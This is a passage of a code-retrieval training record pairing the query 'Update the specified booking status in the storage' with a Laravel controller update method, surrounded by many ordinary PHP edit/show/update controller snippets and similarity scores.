=\".$transaction->transaction_id);*/\n //echo \"<pre>\";print_r($booking_details);exit();\n\n\n /*foreach ($booking_details as $key => $value) {\n $booking->from_date = $value->from_date;\n $booking->to_date = $value->to_date;\n $booking->no_of_rooms = $value->no_of_rooms;\n $booking->room_type_id = $value->room_type_id;\n $booking->adult = $value->adult;\n $booking->child = $value->child;\n }*/\n\n //echo \"<pre>\";print_r($booking);exit();\n\n $room_types = Room_Type::all();\n\n return view('edit_booking')->with([\n\n 'transaction' => $transaction, 'bookings' => $booking_details, 'room_types' => $room_types\n\n ]);\n }", "public function show(Booking $booking)\n {\n //\n }", "public function show(Booking $booking)\n {\n //\n }", "public function show(Booking $booking)\n {\n //\n }", "public function show(Booking $booking)\n {\n //\n }", "public function show(Booking $booking)\n {\n //\n }", "public function edit($id)\n {\n $booking = Booking::query()->find($id);\n $room = $booking->room;\n $room_photos = $booking->room->photos;\n return view('user.booking.edit', compact('booking', 'room_photos', 'room'));\n }", "public function show(status $status)\n {\n //\n }", "public function update(BookingFormRequest $request, $id)\n {\n $validated = $request->validated();\n $booking = Booking::find($id);\n $booking->guest_full_name = $validated['guest_full_name'];\n $booking->guest_credit_card = $validated['guest_credit_card'];\n $booking->room = $validated['room'];\n $booking->from_date = $validated['from_date'];\n $booking->to_date = $validated['to_date'];\n $booking->more_details = $validated['more_details'];\n\n $booking->Save();\n return view('bookings.edit_booking_success', compact('booking'));\n\n\n\n }", "public function edit($id)\n {\n //\n $shipmentStatus = ShipmentStatus::find($id);\n $data['datas'] = $shipmentStatus;\n return view('admin.shipmentstatuses.edit', $data);\n }", "public function edit($id)\r\n {\r\n $statuses = $this->ticket_repository->getStatusesById($id);\r\n return view('admin.tickets.statuses.form')->with('statuses', $statuses);\r\n }", "public function show(Status $status)\n {\n //\n }", "public function show(Status $status)\n {\n //\n }", "public function show(Status $status)\n {\n //\n }", "public function edit()\n {\n return view(\"web_admin.books.edit\");\n }", "public function edit(User_status $userstatus)\n {\n \n if(Gate::denies('manage-system')){\n //dd($userstatus->hasRole('Agent Manager'));\n return redirect(route('admin.userstatuses.index'));\n }\n /* $userstatus = User_status::find($id);\n //dd($userstatus);\n // Redirect to product list if updating product wasn't existed\n if ($userstatus == null || count($userstatus->all()) == 0) {\n return redirect()->intended('/admin/userstatuses/index');\n }*/\n return view('admin.userstatuses.edit',['userstatus'=>$userstatus]);\n }", "public function edit($id)\n {\n $status = Status::findOrFail($id);\n\n return view('panichd::admin.status.edit', compact('status'));\n }", "public function edit(ProspectStatus $prospectstatus)\n {\n return view('prospects::admin.prospectstatuses.edit', compact('prospectstatus'));\n }", "public function edit($id)\n {\n $hotel = HotelBooking::find($id);\n return view(\"admin.hotel.edit\",compact(\"hotel\"));\n }", "public function edit(PropertyStatus $propertyStatus)\n {\n return view('administrator.PropertyStatusView.edit',['propertyStatus' => $propertyStatus]); \n }", "public function edit($id)\n {\n $status= Status::findOrFail($id);\n return view('statuses.edit', compact('status'));\n }", "public function edit($id)\n {\n $biz = new StudentBusiness();\n $student = $biz->findById($id);\n // return $student->birthDate;\n // return $student->statusId . ' ' . $student->firstName. ' '.$student->lastName . ' ' . $student->contact.' ' . $student->birthDate;\n $stausCurrent = DB::table('status')->where('StatusId',$student->statusId)->first();\n $statusid = DB::table('status')->where('StatusName', 'like', '%student%')\n ->where('StatusName', '!=',$stausCurrent->StatusName)\n ->select('StatusName')\n ->get();\n\n // return $stausCurrent->StatusName;\n\n return view('student.edit', compact('student', 'stausCurrent', 'statusid'));\n }", "public function editAction($id){\n $book = Book::getBook($id);\n $action = \"save\";\n $actionText = \"Update Book\";\n require_once('views/bookForm.php');\n }", "public function edithelpdeskstatusAction(){\n\n \tglobal $objSession;\n\n\t try{\n\n\t $this->_helper->layout->setLayout('popup');\n\n\t $status_id = Zend_Encript_Encription:: decode($this->Request['status_id']);\n\n\t $this->view->statuslist = $this->ModelObj->getstatuslist($status_id);\n\n\t $this->view->notificationlist = $this->ModelObj->getNotificationlist();\n\n\t if($this->_request->isPost() && $this->Request['updatestatus']=='Update Status'){\n\n\t if($this->Request['notification_name']!=''){\n\n\t\t $notificationid = $this->ModelObj->addnewnotification($templatecategory_id=2);\n\n\t } \n\n\t $notificationId = (isset($notificationid))?$notificationid:$this->Request['notificationid'];\n\n\t\tif($this->ModelObj->updatehelpdeskstatus($notificationId)){\n\n\t\t $objSession->successMsg = \"Helpdesk Status has been Updated Successfully\";\n\n\t\t echo '<script type=\"text/javascript\">parent.window.location.reload();\n\n\t\t parent.jQuery.fancybox.close();</script>';\n\n\t\t exit();\n\n\t\t $this->_redirect($this->_request->getControllerName().'/helpdeskstatus');\n\n\t\t}\n\n\t\telse{\n\n\t\t$objSession->errorMsg = \"There is some problem!\";\n\n\t\techo '<script type=\"text/javascript\">parent.window.location.reload();\n\n\t\tparent.jQuery.fancybox.close();</script>';\n\n\t\texit();\n\n\t\t$this->_redirect($this->_request->getControllerName().'/helpdeskstatus');\n\n\t\t}\n\n\t }\n\n\t }catch (Exception $e) {\n\n\t\t $this->ModelObj->_logger->info('Class-'.__CLASS__.',Function-'.__FUNCTION__.',Line-'.__LINE__.',Error-'.$e->getMessage());\n\n\t\t}\n\n \n\n }", "public function edit() {\n $this->authorize(PermissionEnum::getInstance(PermissionEnum::EventBookingImmediate)->key, User::class);\n $events = auth()->user()->eventsToBook()->getModels();\n return view('events.my', ['events' => $events]);\n }", "public function edit(Reservation $reservation)\n {\n \n\t\t\n }", "public function edit(PregnancyStatus $pregnancyStatus)\n {\n //\n }", "public function edit(Book $book)\n {\n //\n //\n }", "public function edit(TaskStatus $taskStatus)\n {\n return view('task_statuses.edit', ['taskStatus' => $taskStatus]);\n }", "public function edit(Reservation $reservation)\n {\n //\n }", "public function edit(Reservation $reservation)\n {\n //\n }", "public function edit(Reservation $reservation)\n {\n //\n }", "public function edit(Reservation $reservation)\n {\n //\n }", "public function edit(Reservation $reservation)\n {\n //\n }", "public function edit(Reservation $reservation)\n {\n //\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'book_status' => 'required',\n ]);\n\n //Edit Booking\n $booking = Booking::find($id);\n $booking->book_status = $request->input('book_status');\n \n $booking->save();\n\n return redirect('/bookings')->with('success', 'Booking Updated');\n }", "public function edit($id)\n {\n $data = Meja::where('id', $id)->get();\n return view('Customer.booking-edit',compact('data'));\n }", "public function edit(Book $book)\n {\n //\n }", "public function edit(Book $book)\n {\n //\n }", "public function edit(Book $book)\n {\n //\n }", "public function edit(Book $book)\n {\n //\n }", "public function edit(Book $book)\n {\n //\n }", "public function edit(Book $book)\n {\n //\n }", "public function edit(Book $book)\n {\n //\n }", "public function edit(Book $book)\n {\n //\n }", "public function edit(Book $book)\n {\n //\n }", "public function edit($id)\n {\n $outlet_data = Outlet::find($id);\n $companies = Company::select('id', 'name')->where('status', 1)->orderBy('id', 'desc')->get();\n return view('admin.outlet.outlet_form', compact('outlet_data', 'companies'));\n }", "public function edit(book $book)\n {\n //\n }", "public function edit(EvidentionStatus $evidentionStatus)\n {\n //\n }", "public function edit($id)\n {\n return view('taskstatuses.edit')->with('taskstatus', TaskStatus::findOrFail($id));\n //\n }", "public function edit($id)\n {\n if (!Auth::user()->hasPermissionTo('Edit Book')) {\n abort('401');\n }\n\n // $where = array('id' => $id);\n // $book = Book::where($where)->first();\n $book = Book::find($id);\n $book_details = array(\n array('key'=> 0, 'value'=> 'Kochi'),\n array('key'=> 1, 'value'=> 'Female Books'),\n array('key'=> 2, 'value'=> 'Male Books')\n );\n $provinces = Province::select(['id', 'name_' . App::getLocale() . ' as name'])->get();\n $districts = District::select(['id', 'name_' . App::getLocale() . ' as name'])->get();\n $book_types = BookType::select(['id', 'name_' . App::getLocale() . ' as name'])->get();\n\n return view('book.partials.edit', compact('book', 'provinces', 'districts', 'book_types', 'book_details', 'id'));\n }", "public function edit(State $departamento)\n {\n // return $perfile;\n return view('admin.states.edit')->with('departamento', $departamento);\n }", "public function status()\t{\n\t\t\t$this->veiculo->update($this->input->post('id'), array('veiculo_status' => $this->input->post('status')));\n\t\t}", "public function edit(Listing $listing)\n {\n //\n }", "public function edit(Listing $listing)\n {\n //\n }", "public function edit(Listing $listing)\n {\n //\n }", "public function edit(Apartment $apartment)\n {\n //\n }", "public function update(Request $request, Booking $booking)\n {\n \\App\\Booking::whereId($booking->id)->update([\n 'booking_status'=>$request->input('booking_status')\n ]);\n $client_id=\\App\\Booking::whereClient_id($booking->client_id)->first()->client_id;\n\n $client=DB::table('bookings')\n ->join('clients','clients.id','=','bookings.client_id')\n ->where('bookings.client_id','=',$client_id)\n ->select('clients.*')\n ->first();\n \n if($request->input('booking_status')=='confirmed')\n {\n $subject = 'Booking number ['.$booking->id.'] confirmed !';\n Flashy::message($subject);\n Mail::to($client->email)->send(new BookingStatus($subject)); \n }else{\n $subject = 'Booking number ['.$booking->id.'] cancelled !';\n Flashy::error($subject);\n Mail::to($client->email)->send(new BookingStatus($subject)); \n }\n\n return redirect()->route('bookings.index'); \n \n }", "public function edit($id)\n { \n $detail = Book::find($id); \n\n return view('backend.book.edit', compact( 'detail'));\n }", "public function edit($id)\n {\n $soldbook = $this->soldbookRepository->findWithoutFail($id);\n\n if (empty($soldbook)) {\n Flash::error('Soldbook not found');\n\n return redirect(route('soldbooks.index'));\n }\n $users = User::all();\n $bookings = Booking::all();\n return view('admin.soldbooks.edit',compact('soldbook','users','bookings'));\n// )->with('soldbook', $soldbook);\n }", "public function edit(BuildingOwner $buildingOwner)\n {\n //\n }", "public function edit($id)\n\t{\n $order = \\Order::find($id);\n $statuses = \\OrderStatus::all();\n\t return \\View::make('admin.orders.edit', array(\n 'order' => $order,\n 'statuses' => $statuses,\n ));\n\t}", "public\n function edit(Estado $estado)\n {\n //\n }", "public function edit($id)\n {\n //Valida se usuário possui permissão para acessar esta opção\n if(App\\Models\\User::getPermission('label_status_edit',Auth::user()->user_type_code)){\n\n $labelStatus = $this->labelStatusRepository->findWithoutFail($id);\n\n if (empty($labelStatus)) {\n Flash::error(Lang::get('validation.not_found'));\n\n return redirect(route('labelStatus.index'));\n }\n\n return view('label_status.edit')->with('labelStatus', $labelStatus);\n \n }else{\n //Sem permissão\n Flash::error(Lang::get('validation.permission'));\n return redirect(route('label_status.index'));\n }\n }", "function edit($id_estado_entrega)\n { \n // check if the estado_entrega exists before trying to edit it\n $data['estado_entrega'] = $this->Estado_entrega_model->get_estado_entrega($id_estado_entrega);\n \n if(isset($data['estado_entrega']['id_estado_entrega']))\n {\n if(isset($_POST) && count($_POST) > 0) \n { \n $params = array(\n\t\t\t\t\t'nombre_estado' => $this->input->post('nombre_estado'),\n );\n\n $this->Estado_entrega_model->update_estado_entrega($id_estado_entrega,$params); \n redirect('estado_entrega/index');\n }\n else\n {\n $data['_view'] = 'estado_entrega/edit';\n $this->load->view('layouts/main',$data);\n }\n }\n else\n show_error('The estado_entrega you are trying to edit does not exist.');\n }", "public function edit(VerificationStatus $verificationStatus)\n {\n return view('admin.verification_statuses.edit', compact('verificationStatus'));\n }", "public function update(Request $request, Booking $booking)\n {\n //\n }", "public function update(Request $request, Booking $booking)\n {\n //\n }", "public function update(Request $request, Booking $booking)\n {\n //\n }", "public function update(Request $request, Booking $booking)\n {\n //\n }" ]
[ "0.7243591", "0.7221335", "0.7207845", "0.7207845", "0.7207845", "0.7207845", "0.7207845", "0.7207845", "0.6877845", "0.6724343", "0.6719097", "0.6600786", "0.6581242", "0.65567595", "0.6546489", "0.65129375", "0.64981043", "0.6485215", "0.6394379", "0.631622", "0.6288423", "0.6283199", "0.62448424", "0.6242099", "0.6180227", "0.61717767", "0.61603415", "0.6140343", "0.61339474", "0.6121179", "0.6118275", "0.6102958", "0.6102958", "0.6102958", "0.6102958", "0.6102958", "0.6094923", "0.60763633", "0.60333747", "0.60190344", "0.6016872", "0.6000984", "0.6000984", "0.6000984", "0.599018", "0.59883183", "0.5984409", "0.59592324", "0.59449697", "0.59434813", "0.59433794", "0.59373593", "0.5932143", "0.591898", "0.5888552", "0.5868346", "0.58663094", "0.5856612", "0.5832173", "0.5814882", "0.5814882", "0.5814882", "0.5814882", "0.5814882", "0.5814882", "0.5812939", "0.57975245", "0.5797421", "0.5797421", "0.5797421", "0.5797421", "0.5797421", "0.5797421", "0.5797421", "0.5797421", "0.5797421", "0.5792768", "0.578517", "0.5772224", "0.57690704", "0.576023", "0.5750313", "0.57490784", "0.57369477", "0.57369477", "0.57369477", "0.5729853", "0.5724291", "0.569848", "0.5689133", "0.5688404", "0.5684589", "0.56800723", "0.5677225", "0.5676842", "0.5672757", "0.56705695", "0.56705695", "0.56705695", "0.56705695" ]
0.7313621
0
Update the specified booking status in the storage.
public function update($id, Request $request) { try { $data = $this->getData($request); $bookingStatus = BookingStatus::findOrFail($id); $bookingStatus->update($data); return redirect()->route('booking_status.booking_status.index') ->with('success_message', 'Booking Status was successfully updated!'); } catch (Exception $exception) { return back()->withInput() ->withErrors(['unexpected_error' => 'Unexpected error occurred while trying to process your request!']); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function updateBookingStatus(){\n $command = Yii::$app->db->createCommand();\n $id= Yii::$app->request->bodyParams[\"booking2\"];\n\n try {\n $command->update('car', ['pendingTime' => 'on', 'inUse' => 'pending'], 'id = '.$id)->execute();\n } catch (Exception $e) {\n printf(\"Cannot update data\");\n }\n }", "public function UpdateStatusFromBookings()\n\t{\tif ($this->id)\n\t\t{\t$this->UpdateStatus(count($this->GetBookings()) >= $this->details['tqty'] ? 'sold_out' : 'in_stock');\n\t\t}\n\t}", "function update_passenger_record($book_id, $sindex, $status) {\r\n\t\t$cond ['app_reference'] = $book_id;\r\n\t\t$cond ['segment_indicator'] = $sindex;\r\n\t\t\r\n\t\t$data ['status'] = $status;\r\n\t\t$CI = & get_instance ();\r\n\t\t\r\n\t\t$CI->custom_db->update_record ( 'flight_booking_passenger_details', $data, $cond );\r\n\t}", "public function updateStatus(Request $request, int $bookingId)\n {\n $nameStatus = $request->status_name;\n\n if ($this->bookingService->updateStatusById($bookingId, $nameStatus)) {\n return Response()->json(['message'=>'update status success'], 200);\n }\n return response()->json([\n 'message'=> 'Server error while update status booking',\n ], 500);\n }", "public function updateAvailable(Request $request, Book $book)\n {\n $updated_book = Book::find($book) ->first();\n/* $updated_book->available = $request->available ; */\n $updated_book->update(['available'=>$request->available]);\n return response()->json([\n 'status_code' => 200,\n 'message' => $updated_book,\n ]);\n }", "public function update(Request $request, Booking $booking)\n {\n //\n }", "public function update(Request $request, Booking $booking)\n {\n //\n }", "public function update(Request $request, Booking $booking)\n {\n //\n }", "public function update(Request $request, Booking $booking)\n {\n //\n }", "public function update(Request $request, Booking $booking)\n {\n //\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'book_status' => 'required',\n ]);\n\n //Edit Booking\n $booking = Booking::find($id);\n $booking->book_status = $request->input('book_status');\n \n $booking->save();\n\n return redirect('/bookings')->with('success', 'Booking Updated');\n }", "function wpbs_update_booking($booking_id, $data)\n{\n\n return wp_booking_system()->db['bookings']->update($booking_id, $data);\n\n}", "public function product_image_booking_status_update($color_image_id,$product_image_booking_status){\n\t\t\n\t\t$this->db->update('product_image_tbl', array('product_image_booking_status' => ($product_image_booking_status)), \"color_image_id='\" . $color_image_id . \"'\");\n\n\t}", "public function update(Request $request, Booking $booking)\n {\n \\App\\Booking::whereId($booking->id)->update([\n 'booking_status'=>$request->input('booking_status')\n ]);\n $client_id=\\App\\Booking::whereClient_id($booking->client_id)->first()->client_id;\n\n $client=DB::table('bookings')\n ->join('clients','clients.id','=','bookings.client_id')\n ->where('bookings.client_id','=',$client_id)\n ->select('clients.*')\n ->first();\n \n if($request->input('booking_status')=='confirmed')\n {\n $subject = 'Booking number ['.$booking->id.'] confirmed !';\n Flashy::message($subject);\n Mail::to($client->email)->send(new BookingStatus($subject)); \n }else{\n $subject = 'Booking number ['.$booking->id.'] cancelled !';\n Flashy::error($subject);\n Mail::to($client->email)->send(new BookingStatus($subject)); \n }\n\n return redirect()->route('bookings.index'); \n \n }", "public function update(Request $request, status $status)\n {\n //\n }", "protected function statusUpdate($data)\n {\n // DB::table('status_update')->insert(['date' => Carbon::now(),\n // 'status' => $data['status'],\n // 'booking_id' => $data['id'],\n // 'created_at' => Carbon::now()\n // ]);\n }", "public function update(Request $request, Status $status)\n {\n //\n }", "public function update_status();", "public function updateBookingStatus($booking_ids) {\n\t\tforeach($booking_ids as $booking_id){\n\t\t\t$this->Booking->query(\"\t\n\t\t\t\t\tUPDATE \tbookings\n\t\t\t\t\tSET \tbookings.current_status='Payment Completed', \n\t\t\t\t\t\t\tbookings.status_history=concat(bookings.status_history, ',Payment Completed'),\n\t\t\t\t\t\t\tbookings.status='1'\n\t\t\t\t\tWHERE\tbookings.id='\".($booking_id).\"'\n\t\t\t\t\tAND\t(SELECT SUM(payments.amount_paid) FROM payments WHERE payments.booking_id='\".($booking_id).\"')>=bookings.amount\");\n\t\t}\n\t}", "public function update(Request $request, Booking $booking)\n {\n $request->validate([\n 'name' => 'nullable|string',\n 'start_date' => 'nullable|date',\n 'end_date' => 'nullable|date',\n 'customer_full_name' => 'nullable|string',\n 'customer_email' => 'nullable|string',\n 'user_id' => 'nullable|numeric',\n 'room_id' => 'nullable|numeric',\n ]);\n\n $start_date = Carbon::parse($request->start_date ?? $booking->start_date);\n $end_date = Carbon::parse($request->end_date ?? $booking->end_date);\n\n if($start_date->greaterThan($end_date)) {\n $errorMessage = array(\n 'status' => 'error',\n 'message' => 'Check-in date cannot be greater than checkout date!'\n );\n return response()->json($errorMessage, 500);\n }\n\n $conflicting_bookings = $this->get_conflicting_bookings($start_date, $end_date);\n\n $conflicting_bookings_without_current_booking = $conflicting_bookings->where('id', '!=', $booking->id);\n\n if(!$conflicting_bookings_without_current_booking->isEmpty()) {\n $errorMessage = array(\n 'status' => 'error',\n 'message' => 'Attempting to book room on occupied dates!'\n );\n return response()->json($errorMessage, 500);\n }\n\n if(Auth::user()) {\n $request->merge(['user_id'=> Auth::user()->id]);\n }\n if($booking->update($request->all())) {\n return response()->json($booking);\n }\n }", "public function update(SaveBookingRequest $request, Booking $booking)\n {\n return DB::transaction(function () use ($request, $booking) {\n $request->merge([\n 'total_weight' => numeric(array_sum(array_column($request->input('goods', []), 'weight'))),\n 'total_gross_weight' => numeric(array_sum(array_column($request->input('goods', []), 'gross_weight'))),\n ]);\n $booking->fill($request->input());\n $booking->save();\n\n // sync booking containers\n $excluded = collect($request->input('containers', []))->filter(function ($container) {\n return !empty($container['id']);\n });\n $booking->bookingContainers()->whereNotIn('id', $excluded->pluck('id'))->delete();\n foreach ($request->input('containers', []) as $container) {\n $booking->bookingContainers()->updateOrCreate(\n ['id' => data_get($container, 'id')],\n $container\n );\n }\n\n // sync booking goods\n $excluded = collect($request->input('goods', []))->filter(function ($item) {\n return !empty($item['id']);\n });\n $booking->bookingGoods()->whereNotIn('id', $excluded->pluck('id'))->delete();\n foreach ($request->input('goods', []) as $item) {\n $booking->bookingGoods()->updateOrCreate(\n ['id' => data_get($item, 'id')],\n $item\n );\n }\n\n return response()->json([\n 'status' => 'success',\n 'data' => $booking,\n 'message' => __(\"Booking :number successfully updated\", [\n 'number' => $booking->booking_number\n ])\n ]);\n });\n }", "public function updateBooking(Request $request, $id)\n{\n $booking = Booking::find($id);\n $booking->update($request->all());\n\n $response = [\n 'message'=>'Update Succesfully',\n 'booking' => $booking,\n \n \n ];\n\n return response($response); \n}", "public function updateStatus() {\n $ref = ORM::forTable('referrals')\n ->findOne($this->data['id']);\n if ($this->data['status'] == 'Assigned' && $this->data['route_id']) {\n $route = ORM::forTable('estimate_routes')\n ->findOne($this->data['route_id']);\n $assignedReferralsCount = ORM::forTable('referrals')\n ->select('id')\n ->where('route_id', $route->id)\n ->count();\n $ref->route_id = $this->data['route_id'];\n $ref->status = 'Assigned';\n $ref->route_order = $assignedReferralsCount;\n\n } elseif ($this->data['status'] == 'Pending') {\n $ref->status = 'Pending';\n $ref->route_order = 0;\n $ref->route_id = NULL;\n } else {\n $ref->status = $this->data['status'];\n }\n if ($ref->save()) {\n $this->renderJson([\n 'success' => true,\n 'message' => 'Job request status updated successfully'\n ]);\n } else {\n $this->renderJson([\n 'success' => false,\n 'message' => 'An error has occurred while saving job request'\n ]);\n }\n }", "public function updateBoatStatus($boat_id, Request $request)\n {\n $user = Auth::guard('api')->user();\n\n if ($user){\n $boat = Boat::where('unique_id',$boat_id)->first();\n $boat->status = Input::get('status');\n if ($boat->save()){\n $responseData = ['status' => $boat->status];\n return $this->apiResponse('success', '200', $responseData);\n } else {\n return $this->apiResponse('error', '401', 'Sorry! Error in updating status.');\n }\n } else {\n return $this->apiResponse('error', '401', 'No Valid Token');\n }\n }", "protected function updateAvailability($status)\n {\n $currentStatus = $this->loadAvailability();\n\n if ($status !== $currentStatus) {\n $this->saveAdminStatus($status);\n $this->available = $status;\n if ($status) {\n $this->_logger->info(\"Elasticsearch promoted as available\");\n } else {\n $this->_logger->critical(\"Elasticsearch no longer available\");\n }\n }\n return $status;\n }", "public function set_contract_status_updates_contract_status_with_passed_status_id()\n {\n $this->assertEquals(\n self::$contract->set_contract_status(self::$contract, $status_id = 2),\n self::$contract->update(['contract_status_id' => $status_id])\n );\n }", "public function update(Request $request, User_status $userstatus)\n {\n \n $this->validateInput($request);\n $userstatus->status = $request['status'];\n \n $userstatus->save(); \n return redirect()->route('admin.userstatuses.index');\n }", "public function update(Status $status)\n {\n $this->authorize('update', $status);\n $data = request()->validate([\n 'priority' => 'required',\n 'name' => 'required',\n 'description' => 'required'\n ]);\n $status->update($data);\n }", "public function updateStatus(Request $request)\n\t{\n\t\t$status;\n\t\tif ($request->status === 'true') {\n\t\t\t$status = 1;\n\t\t} elseif ($request->status === 'false') {\n\t\t\t$status = 0;\n\t\t}\n\t\tDB::table('list_items')\n\t\t\t->where('id', $request->id)\n\t\t\t->update(['status' => $status]);\n\t}", "public function update(UpdateRequest $request, Booking $booking)\n {\n $booking->load(\n 'tour',\n 'tour.tourOptions',\n 'ticketOptions',\n 'bookingTickets',\n 'bookingTickets.ticket',\n // 'ticketOptions.tourOption',\n 'schedule',\n 'schedule.user',\n 'schedule.excursion'\n );\n\n $validated = $request->validated();\n $beforeSnapshot = Logging::bookingSnapshot($booking);\n\n $this->isValidTicketsQuantity($booking, $validated['tickets_list']);\n\n $beforeTotalPrice = $booking->bookingTickets->sum(function ($bookingTicket) {\n return $bookingTicket->getPrice();\n });\n\n DB::transaction(function () use ($booking, $validated, $beforeTotalPrice) {\n $booking->fill($validated);\n $booking->save();\n\n $currentUser = auth()->user();\n\n if (!empty($validated['comment'])) {\n $currentUser->comment($booking, $validated['comment']);\n }\n\n $bookingTickets = $booking->saveBookingTickets($validated['tickets_list']);\n\n $ticketOptions = TicketOption::whereIn('ticket_id', $bookingTickets->pluck('ticket_id'))\n ->whereIn('tour_option_id', $validated['options_list'])->get();\n\n $booking->ticketOptions()->sync($ticketOptions->pluck('id'));\n\n foreach($bookingTickets as $item) {\n $item->calculatePrice();\n }\n\n $booking->load('bookingTickets');\n\n if (!$currentUser->isAdmin() || !$currentUser->hasTourConciergeRole()) {\n $totalPrice = $booking->bookingTickets->sum(function ($bookingTicket) {\n return $bookingTicket->getPrice();\n });\n\n abort_if($beforeTotalPrice < $totalPrice, 422);\n }\n\n\n }, 2);\n\n $booking->fresh();\n $booking->load(\n 'tour',\n 'tour.tourOptions',\n 'ticketOptions',\n 'bookingTickets.ticket',\n 'ticketOptions.tourOption',\n 'schedule',\n 'schedule.user',\n 'schedule.excursion'\n );\n\n Logging::booking($booking, $beforeSnapshot);\n\n return [\n 'data' => [\n 'view' => new Resource($booking)\n ]\n ];\n }", "protected function _updateSlvApptStatus($slave, $status) {\n\n $getApptStatusQry = \"update slave set booking_status = '\" . $status . \"' where slave_id = '\" . $slave . \"'\";\n mysql_query($getApptStatusQry, $this->db->conn);\n if (mysql_affected_rows() > 0)\n return 0;\n else\n return 1;\n }", "public function update(UpdateBooking $request, $id)\n {\n //delete old items and enter new\n BookingItem::where('booking_id', $id)->delete();\n\n $services = $request->cart_services;\n $quantity = $request->cart_quantity;\n $prices = $request->cart_prices;\n $discount = $request->cart_discount;\n $payment_status = $request->payment_status;\n $discountAmount = 0;\n $amountToPay = 0;\n\n $originalAmount = 0;\n $bookingItems = array();\n\n foreach ($services as $key=>$service){\n $amount = ($quantity[$key] * $prices[$key]);\n\n $bookingItems[] = [\n \"business_service_id\" => $service,\n \"quantity\" => $quantity[$key],\n \"unit_price\" => $prices[$key],\n \"amount\" => $amount\n ];\n\n $originalAmount = ($originalAmount + $amount);\n }\n\n\n $booking = Booking::find($id);\n\n $taxAmount = 0;\n if($booking->tax_amount > 0){\n $taxAmount = $booking->tax_amount;\n }\n\n if($discount > 0){\n if($discount > 100) $discount = 100;\n\n $discountAmount = (($discount/100) * $originalAmount);\n }\n\n $amountToPay = ($originalAmount - $discountAmount + $taxAmount);\n $amountToPay = round($amountToPay, 2);\n\n\n $booking->date_time = $request->booking_date.' '.Carbon::createFromFormat('h:i A', $request->booking_time)->format('H:i:s');\n $booking->status = $request->status;\n $booking->employee_id = ($request->employee_id != '') ? $request->employee_id : null ;\n $booking->original_amount = $originalAmount;\n $booking->discount = $discountAmount;\n $booking->discount_percent = $request->cart_discount;;\n $booking->amount_to_pay = $amountToPay;\n $booking->payment_status = $payment_status;\n $booking->save();\n\n foreach ($bookingItems as $key=>$bookingItem){\n $bookingItems[$key]['booking_id'] = $booking->id;\n }\n\n DB::table('booking_items')->insert($bookingItems);\n\n $view = view('admin.booking.show', compact('booking'))->render();\n\n return Reply::successWithData('messages.updatedSuccessfully', ['status' => 'success', 'view' => $view]);\n }", "public function update(Request $request, Status $status)\n {\n $validator = Validator::make($request->all(), [\n 'name' => \"required|max:15|not_regex:/[\\d]/i|unique:statuses,name, $status->id\"\n ]);\n if ($validator->fails()) {\n return Redirect::back()->withErrors($validator)->withInput();\n }\n $status->fill($request->all());\n $status->save();\n return redirect()->route('statuses.index')->with('status_success', 'Status was edited succesfully');\n }", "public function updateStatus()\n {\n $this->status = Cart::CART_STATUS_ORDERED;\n $this->save();\n }", "private function changeStatus( $builder, $status )\n {\n return $builder->update([\n 'status' => $status,\n ]);\n }", "function updateStatus(){\n\t\t$this->setPost();\n\n\t\t$postData = $_POST;\n\n\t\tif($postData->status_id == 1){\n\t\t\t$updateData = array('status_id' => 2);\n\t\t}else{\n\t\t\t$updateData = array('status_id' => 1);\n\t\t}\n\n\t\t$where = array('id' => $postData->id);\n\n\t\t$result = $this->base_model->updateCommon($this->primaryTable, $updateData, $where);\n\n\t\t$response = array('status' => TRUE, 'message' => 'Document status updated successfully.');\n\n\t\techo json_encode($response);\n\t}", "public function update(Request $request, BookingRoom $bookingRoom)\n {\n //\n }", "public function status_update(Request $request)\n {\n $this->validate($request, [\n \"post_id\" => \"required\",\n \"status\" => \"required\",\n ]);\n\n $tag = Tag::find($request->post_id);\n if (count($tag) > 0) {\n $tag->status = $request->status;\n $tag->update();\n $this->removeThisCache($tag->slug);\n }\n exit;\n }", "public function update(Store $request, $id)\n {\n $user = Auth::user();\n $booking = Booking::query()->find($id);\n if ($request->total_person > $booking->room->room_capacity) {\n return redirect()->back()->with('danger', \"Total person is more than the room's capacity!\");\n } else {\n $booking->update([\n 'total_person' => $request->total_person,\n 'note' => $request->note,\n 'booking_time' => $request->booking_time,\n 'check_in_time' => date_create($request->booking_time)->setTime(9, 00),\n 'check_out_time' => date_create($request->booking_time)->setTime(16, 00)\n ]);\n Mail::to($user->email)->send(new BookingUpdateMail());\n return redirect('user/bookings')->with('message', 'Your booking has been updated!');\n }\n }", "public function update(Request $request, Borrower $borrower)\n {\n \n $borrower->user_id = Auth::user()->id;\n $borrower->book_id = $request->book_id; \n $borrower->customer_id = $request->customer_id;\n $borrower->issued_at = $request->issued_at;\n $borrower->return_at = $request->return_at;\n $borrower->status = $request->status;\n\n if ($borrower->save()){\n $book = Book::find($request->book_id);\n if ($request->status == 'Returned'){\n $book->status = 'Available';\n } else{\n $book->status = $request->status;\n }\n\n $book->save();\n\n return redirect()->route('borrowers.index')\n ->with('success','Borrower updated successfully');\n } else{\n return redirect()->route('borrowers.edit',$borrower)\n ->withError('Whoops! Something went wrong. Record not saved, try again later.');\n }\n }", "public function setBookingStatus($bookingStatus = null)\n {\n // validation for constraint: string\n if (!is_null($bookingStatus) && !is_string($bookingStatus)) {\n throw new \\InvalidArgumentException(sprintf('Invalid value, please provide a string, \"%s\" given', gettype($bookingStatus)), __LINE__);\n }\n if (is_null($bookingStatus) || (is_array($bookingStatus) && empty($bookingStatus))) {\n unset($this->BookingStatus);\n } else {\n $this->BookingStatus = $bookingStatus;\n }\n return $this;\n }", "public function update() {\n $bookingJson = array(\n 'adults' => $this->getAdults(),\n 'children' => $this->getChildren(),\n 'infants' => $this->getInfants()\n );\n $response = \\tabs\\api\\client\\ApiClient::getApi()->put(\n \"/booking/{$this->getBookingId()}\",\n array(\n 'data' => json_encode($bookingJson)\n )\n );\n if ($response->status !== 204) {\n throw new \\tabs\\api\\client\\ApiException(\n $response,\n 'Could not update booking'\n );\n }\n\n return $this;\n }", "public function update(Request $request, $id)\n {\n if(Auth::check()){\n $booking = bookings::find($id);\n $booking -> confirm_price = request()-> confirm_price;\n $booking -> admin_msg = request()-> admin_msg;\n $booking -> status = 'acknowledge';\n $booking -> save();\n return redirect(route('manage_booking.index'))->with('status','Booking Replying Successfully!');\n }else{\n return redirect(route('login'));\n }\n\n }", "public function update(Book $book)\n {\n $user = auth()->user()->id;\n $book->available = $book->available - 1;\n $book->save();\n \n $date = 